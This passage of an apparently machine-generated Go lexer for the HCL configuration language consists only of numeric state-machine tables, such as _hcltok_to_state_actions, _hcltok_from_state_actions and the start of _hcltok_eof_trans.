0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 93,\n    0, 0, 119, 0, 111, 0, 7, 7,\n    7, 0, 0, 113, 0, 115, 0, 123,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 7, 7,\n    7, 196, 196, 196, 196, 196, 196, 7,\n    7, 196, 7, 127, 139, 135, 97, 133,\n    103, 0, 129, 0, 101, 95, 109, 99,\n    131, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 105, 117, 137, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 13,\n    0, 0, 172, 17, 0, 7, 7, 23,\n    0, 25, 27, 0, 0, 0, 151, 0,\n    15, 19, 9, 0, 21, 11, 29, 0,\n    0, 0, 0, 43, 0, 178, 178, 49,\n    0, 157, 154, 1, 175, 175, 45, 37,\n    47, 39, 51, 0, 0, 0, 63, 0,\n    184, 184, 69, 0, 163, 160, 1, 181,\n    181, 65, 57, 67, 59, 71, 77, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 7, 7, 7,\n    190, 190, 190, 190, 190, 190, 7, 7,\n    190, 7, 81, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 83, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0,\n}\n\nvar _hcltok_to_state_actions []byte = []byte{\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 3, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 3, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 166, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 166, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 3, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0,\n}\n\nvar _hcltok_from_state_actions []byte = []byte{\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 5, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 5, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 5, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 5, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 5, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0,\n}\n\nvar _hcltok_eof_trans []int16 = []int16{\n    0, 1, 1, 1, 6, 6, 6, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 1,\n    1, 1, 1, 1, 1, 1, 1, 419,\n    419, 421, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 